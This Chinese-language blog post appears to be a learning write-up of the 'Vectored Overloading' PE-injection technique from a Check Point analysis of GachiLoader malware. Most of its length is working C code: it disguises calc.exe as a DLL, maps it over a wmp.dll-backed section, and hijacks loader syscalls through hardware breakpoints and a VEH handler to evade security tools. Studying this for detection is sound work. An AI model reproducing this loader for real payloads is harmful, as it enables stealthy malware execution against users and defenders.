看到 CheckPoint 对恶意软件 GachiLoader 的分析文章,提到了一种新的 PE 注入技术“Vectored Overloading(向量化重载)”。其核心是通过 VEH(向量化异常处理)和对内存中的载荷进行直接映射,借助合法的 DLL 内存空间实现注入,从而规避安全软件的检测。CheckPoint 提供了这项技术的测试代码,以下是对这项技术原理与实现的学习和记录。
- 编译环境:Windows 11, VS2019, debug x64
- 运行环境:Windows 11
1. 将 PE 文件读取并伪装成 DLL
首先,需要将用作 Payload 的可执行文件读取到内存中。这里以 C:\Windows\System32\calc.exe 为例。
HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hCalc, NULL);
BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
GetProcessHeap 函数获取调用进程的默认堆的句柄。进程可以使用此句柄从进程堆分配内存,而无需先使用 HeapCreate 函数创建专用堆。
ReadFile 函数从指定的文件或输入/输出(I/O)设备读取数据。
读取完毕后,需要修改其 PE 头,使其看起来像一个 DLL 文件。calc.exe 原本是 EXE 文件,其 FileHeader.Characteristics 字段中的 IMAGE_FILE_DLL 标志位为 0。

现在需要将 IMAGE_FILE_DLL 标志位改为 1,同时将其入口点地址(AddressOfEntryPoint)清空(设置为 0,防止冲突,后续再设置具体地址)。这样做有两个目的:一是让 calc.exe 能像 DLL 一样在内存任意位置运行,不依赖固定基址;二是让它在外观上与被后续替换的系统 DLL(如 wmp.dll)更相似,起到一定的混淆和免杀效果。
DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
{
nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; //0x0和0x2000进行按位或运算结果是0x2000
nt->OptionalHeader.AddressOfEntryPoint = 0;
}
2. 创建“傀儡”节(Section)
接下来是关键步骤:创建一个合法的节(Section)对象作为“傀儡”。这里使用了 NtCreateSection 函数,它是 ntdll.dll 中一个未公开的函数。由于 ntdll.lib 不是 Visual Studio 默认包含的库,需要先进行声明。
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
(这种隐式链接的方式在逆向分析时相对容易被发现,此处可能是为了方便演示,没有使用 LoadLibrary + GetProcAddress 这种更隐蔽的显式链接方式。)
NtCreateSection 函数负责在内核空间创建一个节对象。
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle, //指向接收节对象的句柄的HANDLE变量的指针
[in] ACCESS_MASK DesiredAccess, //指定一个ACCESS_MASK值,确定请求对对象的访问
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize, //指定节的最大大小(以字节为单位)
[in] ULONG SectionPageProtection, //指定要在节中的每个页面上放置的保护
[in] ULONG AllocationAttributes, //指定SEC_XXX标志的位掩码,用于确定节的分配属性
[in, optional] HANDLE FileHandle //(可选)指定打开的文件对象的句柄
);
其中 AllocationAttributes 参数至关重要,它决定了节的分配属性,可以设置为 SEC_COMMIT、SEC_IMAGE、SEC_IMAGE_NO_EXECUTE、SEC_LARGE_PAGES 等值。
这里程序将属性设置为 SEC_IMAGE。这个标志告诉操作系统,把这个文件当作一个“可执行映像(Image)”来解析和映射,而不是普通的文本或数据文件。SEC_IMAGE 属性必须与页面保护值(如 PAGE_READONLY)结合使用。在逆向工程和恶意软件分析中,理解这种内存管理机制的滥用是识别高级威胁的关键。
HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
为什么不用 VirtualAlloc,而是要用 NtCreateSection?
- 内存类型差异:
VirtualAlloc 分配的是 MEM_PRIVATE 类型的内存。绝大多数合法的 EXE/DLL 代码不会运行在 MEM_PRIVATE 区域中,如果一块 MEM_PRIVATE 内存拥有 EXECUTE(执行)权限,这在安全软件眼里是非常明显的恶意特征。而 NtCreateSection(配合 SEC_IMAGE)分配的是 MEM_IMAGE 类型的内存,这正是所有正规 DLL 被操作系统加载时所采用的方式。
- 加载工作简化:如果使用
VirtualAlloc 分配内存然后手动加载 PE 文件,需要编写代码处理 PE 文件的映射、地址计算、节对齐、导入表修复等,相当于手动实现一个加载器。而 NtCreateSection 分配的内存因为带有 SEC_IMAGE 标志,操作系统内核会自动完成所有的解析、对齐和加载工作。
调用 NtCreateSection 后,Windows 内核会在内核空间创建一个 Section Object(节对象)。此时获得的 gSectionHandle 只是一个句柄,用户态程序无法直接操作内核对象。要将其映射到进程的用户空间,还需要配合 NtMapViewOfSection 函数。
3. 预先映射内存并篡改内容
使用 NtMapViewOfSection 将基于 wmp.dll 创建的节映射到当前进程的内存空间。
NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(
IN HANDLE SectionHandle, //需要映射的节对象句柄
IN HANDLE ProcessHandle, //被映射的目标进程句柄
IN OUT PVOID *BaseAddress OPTIONAL, //映射的内存基址
IN ULONG ZeroBits OPTIONAL, //对高位地址的限制,通常设为0
IN ULONG CommitSize, //初始提交大小
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,//偏移量,即从文件的第几个字节开始映射
IN OUT PULONG ViewSize, //映射的大小,如果填0,内核会把整个Section都映射进去
IN InheritDisposition, //继承倾向,决定子进程是否能映射这块内存
IN ULONG AllocationType OPTIONAL,//分配类型
IN ULONG Protect //内存保护属性
);
简单来说,NtMapViewOfSection 把 SectionHandle 指定的文件节,映射到 ProcessHandle 指定的进程的虚拟地址空间中,映射的大小由 ViewSize 决定,映射后的起始地址由 BaseAddress 返回。
映射成功后,程序立即使用 VirtualProtect 修改这块内存的权限为可读写,然后清空原有 wmp.dll 的内容,并将之前准备好的 calc.exe 的 PE 头和各节(Section)数据手动复制进去。最后,修复 calc.exe 的重定位信息,并设置各节应有的内存保护属性。
status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
ApplySectionProtections(gBaseAddress);
虽然内存里的内容被完全替换成了 calc.exe,但这块内存区域的属性依然是 MEM_IMAGE,并且在操作系统看来,它依然关联着 wmp.dll 这个合法的系统文件。
这里修改了内存,硬盘上的 wmp.dll 文件会被改掉吗?
不会。这得益于 Windows 的“写时复制(Copy-on-Write)”机制。这是一种内存优化技术,允许多个进程共享同一份物理内存页面。当其中一个进程(本例中就是我们的程序)尝试写入(修改)数据时,系统才会真正地创建一份该页面的独立物理副本,然后对这个新副本进行修改。原文件的磁盘数据保持不变。
4. 设置 VEH 钩子(Hook)
主要劫持流程如下:注册一个 VEH 异常处理函数,然后在系统函数 NtOpenSection 上设置硬件断点。接着,通过调用 LoadLibrary 加载一个系统 DLL(如 amsi.dll)来触发 Windows 加载器(Ldr)的执行流程。当 Ldr 调用 NtOpenSection 时,硬件断点触发,程序进入我们注册的 VEH 异常处理函数。在处理函数中,我们修改执行上下文,劫持程序流程,让它误以为已经成功打开了目标 DLL,实际上却指向了我们准备好的“傀儡”节。最终,程序跳转到我们预设的 Payload(即 calc.exe 的入口点)执行。
4.1 注册 VEH 异常处理函数
VEH(Vectored ExceptionHandler,向量化异常处理)是 Windows XP 引入的一种异常处理机制,它基于进程,优先级高于传统的 SEH(结构化异常处理)。
- VEH 需要使用 API(
AddVectoredExceptionHandler)注册回调函数,可以注册多个,它们以双向链表形式组织。
- VEH 的处理优先级顺序是:调试器处理 > VEH > SEH。
- VEH 保存在堆中,注册时可以指定其在处理链中的位置。
//注册向量化异常处理程序
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
//取消已注册的向量化异常处理程序
ULONG RemoveVectoredExceptionHandler(
PVOID Handle //先前使用AddVectoredExceptionHandler函数注册的向量异常处理程序的句柄
);
//VEH结构体
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}
注册 VEH 处理函数 InjectHandler:
PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
参数 1u 表示此处理函数被添加到调用链的首位,只要有异常发生,它将是第一个被通知的处理程序。
4.2 异常处理函数的逻辑
注册的 InjectHandler 异常处理函数是实现劫持的核心,其逻辑如下:
-
判断异常类型:首先检查异常代码是否为 EXCEPTION_SINGLE_STEP,这是硬件断点触发时特有的异常代码。如果不是,则直接返回,不处理。
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
-
劫持 NtOpenSection 调用(StateOpenSection):当 LoadLibrary 内部的加载器调用 NtOpenSection 尝试打开 DLL 文件时,硬件断点触发,进入此分支。
case LdrState::StateOpenSection:
{
printf("- gLdrState == LdrState::StateOpenSection\r\n");
*(PHANDLE)ctx->Rcx = gSectionHandle; // 关键:替换返回的句柄
ctx->Rax = 0; // 设置返回值为成功 (STATUS_SUCCESS)
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip; // 寻找函数结尾的 RET 指令 (0xC3)
ctx->Rip = (ULONG_PTR)(rip); // 跳转到 RET,跳过真正的系统调用
gLdrState = LdrState::StateMapViewOfSection;
SetHardwareBreakpoint(NtMapViewOfSection, ctx); // 在下一个关键函数设断点
NtContinue(ctx, FALSE); // 恢复执行
return EXCEPTION_CONTINUE_EXECUTION;
}
break;
ctx->Rcx:根据 x64 调用约定,RCX 是第一个参数。对于 NtOpenSection,即指向接收句柄的指针 PHANDLE SectionHandle。代码将我们之前伪造的 gSectionHandle 填入此处。
ctx->Rax = 0:将返回值设置为 STATUS_SUCCESS (0),表示操作成功。
- 修改
ctx->Rip:直接将指令指针修改到 NtOpenSection 函数的 RET 指令处,使得真正的 NtOpenSection 系统调用根本没有执行!
- 调用者(系统加载器)收到了“成功”的返回码和一个“合法”的句柄,但它完全不知道这个句柄指向的是我们伪造的节。
根据 x64 调用约定,前四个整型或指针参数从左到右依次通过 RCX、RDX、R8 和 R9 寄存器传递。
NtOpenSection 同样是一个需要声明的未公开函数。
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
//NtOpenSection函数定义
NTSYSAPI NTSTATUS NTAPI NtOpenSection(
OUT PHANDLE SectionHandle, // 句柄
IN ACCESS_MASK DesiredAccess, // 权限
IN POBJECT_ATTRIBUTES ObjectAttributes // 对象属性
);
-
劫持 NtMapViewOfSection 调用(StateMapViewOfSection):加载器拿到伪造的句柄后,会调用 NtMapViewOfSection 试图将其映射到内存。我们预先设置的第二个硬件断点在此触发。
case LdrState::StateMapViewOfSection:
{
printf("- gLdrState == LdrState::StateMapViewOfSection\r\n");
if ((HANDLE)ctx->Rcx != gSectionHandle) // 确认是我们伪造的句柄
return EXCEPTION_CONTINUE_EXECUTION;
printf(" Section handle is ours\r\n");
PVOID* baseAddrPtr = (PVOID*)ctx->R8; // 第三个参数:接收映射基址的指针
PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); // 从栈上获取ViewSize指针
ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); // 从栈上获取AllocationType指针
ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); // 从栈上获取Protect指针
if (baseAddrPtr)
*baseAddrPtr = gBaseAddress; // 关键:替换映射基址为我们准备好的地址
if (viewSizePtr)
*viewSizePtr = gViewSize;
*allocTypePtr = 0;
*protectPtr = PAGE_EXECUTE_READWRITE; // 设置内存保护属性
ctx->Rax = 0; // 设置返回值为成功
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip;
ctx->Rip = (ULONG_PTR)(rip); // 跳过真正的系统调用
// 清除所有硬件断点寄存器,抹除痕迹
ctx->Dr0 = 0LL;
ctx->Dr1 = 0LL;
ctx->Dr2 = 0LL;
ctx->Dr3 = 0LL;
ctx->Dr6 = 0LL;
ctx->Dr7 = 0LL;
ctx->EFlags |= 0x10000u; // 设置恢复标志(RF),防止在同一断点反复触发
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
break;
}
ctx->Rcx:传入的句柄,先进行验证。
ctx->R8:根据调用约定,这是第三个参数,即指向接收映射基址的指针 PVOID* BaseAddress。代码将我们早已布置好 calc.exe 代码的地址 gBaseAddress 填入。
- 同样,修改
Rip 跳过真正的 NtMapViewOfSection 系统调用,并设置成功返回值。
- 最后,清除所有调试寄存器(
Dr0-Dr7)中的断点设置,彻底抹除利用痕迹。
4.3 设置硬件断点
如何人为地触发异常呢?这就需要设置硬件断点。CPU 内部提供了调试寄存器(Debug Registers)来支持硬件断点。
Dr0, Dr1, Dr2, Dr3:用于存放最多 4 个断点的线性地址。
DR4 和 DR5:保留未使用。
DR6:调试状态寄存器,当调试异常发生时,显示相关信息。
DR7:调试控制寄存器,控制各个断点的启用/禁用、类型(读/写/执行)、长度等信息。

设置硬件断点的函数 SetHardwareBreakpoint 实现如下:
BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
{
if (ctx)
{
ctx->Dr7 = 1LL; //打开 Dr0 的开关(L0位置1)
ctx->Dr0 = (DWORD64)address; //把新的监控地址填进去
NtContinue(ctx, FALSE); //恢复执行
}
else
{
// 如果没有提供上下文,则默认为当前线程设置
CONTEXT context = { 0 };
context.ContextFlags = CTX_FLAGS;
HANDLE hThread = GetCurrentThread(); //拿到当前线程的句柄
if (!GetThreadContext(hThread, &context)) //获取当前CPU的状态(拍快照)
return FALSE;
context.Dr7 = 1;
context.Dr0 = (DWORD64)address; //设置硬件断点
if (!SetThreadContext(hThread, &context))
return FALSE;
}
return TRUE;
}
在 NtOpenSection 函数的地址上设置硬件断点:
SetHardwareBreakpoint(NtOpenSection, NULL);
使用硬件断点(而非修改代码的软件断点)结合 VEH 的优势在于,它可以在不修改目标函数任何一个字节的情况下劫持其执行流程。如果使用软件断点,安全软件或反作弊系统(如 BattlEye)很容易检测到系统 DLL 的代码被篡改。
5. 触发并劫持 DLL 加载流程
一切准备就绪后,只需调用 LoadLibraryW(L"amsi.dll")。这个调用会触发 Windows 加载器(Ldr)的标准流程,内部会依次调用 NtOpenSection 和 NtMapViewOfSection,从而落入我们设下的“陷阱”。
HMODULE base = LoadLibraryW(L"amsi.dll");
5.1 第一阶段劫持 (NtOpenSection)
当加载器调用 NtOpenSection 打开 amsi.dll 时,硬件断点触发。VEH 处理程序拦截执行,将输出参数 SectionHandle 替换为伪造的 gSectionHandle,并修改 RIP 跳过真正的系统调用。操作系统以为成功打开了 amsi.dll,实则拿到了一个“李鬼”句柄。
5.2 第二阶段劫持 (NtMapViewOfSection)
紧接着,加载器用这个假句柄调用 NtMapViewOfSection。第二个硬件断点触发,VEH 处理程序再次拦截,将请求映射的基地址和大小等参数替换为我们预先准备好的 gBaseAddress 和 gViewSize。于是,LoadLibrary 认为自己成功将 amsi.dll 映射到了内存,但实际上它映射到的是那块早已被替换成 calc.exe 的“傀儡”内存。
6. 执行 Payload
劫持成功后,移除 VEH 异常处理函数以清理现场,然后计算并跳转到 calc.exe 的入口点,执行最终的 Payload。
//移除VEH异常处理函数
RemoveVectoredExceptionHandler(InjectHandler);
//设置calc.exe的entryPoint,执行payload
PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
printf(" Jumping to entrypoint at %p\n", entryPoint);
((void (*)())entryPoint)();
return 0;
运行成功后,计算器程序(calc.exe)的窗口将会弹出。

7. 总结与参考
这种被称为“Vectored Overloading”的技术,巧妙地结合了合法的 SEC_IMAGE 节创建、写时复制机制、硬件断点以及向量化异常处理,在不接触磁盘文件、不修改代码页的前提下,实现了对系统 DLL 加载流程的高位劫持。它充分利用了操作系统自身的机制来规避基于内存扫描和代码篡改检测的安全方案,体现了现代恶意软件分析与对抗中日益精巧的技术思路。
这项技术深入涉及了 Windows 内核与用户态的交互、PE 文件加载机制以及 CPU 级别的调试功能,对于从事逆向工程和系统安全研究的人员而言,是一次很好的学习案例。你可以在 云栈社区 找到更多关于 Windows 底层编程和安全技术的深度讨论与资源分享。
参考链接: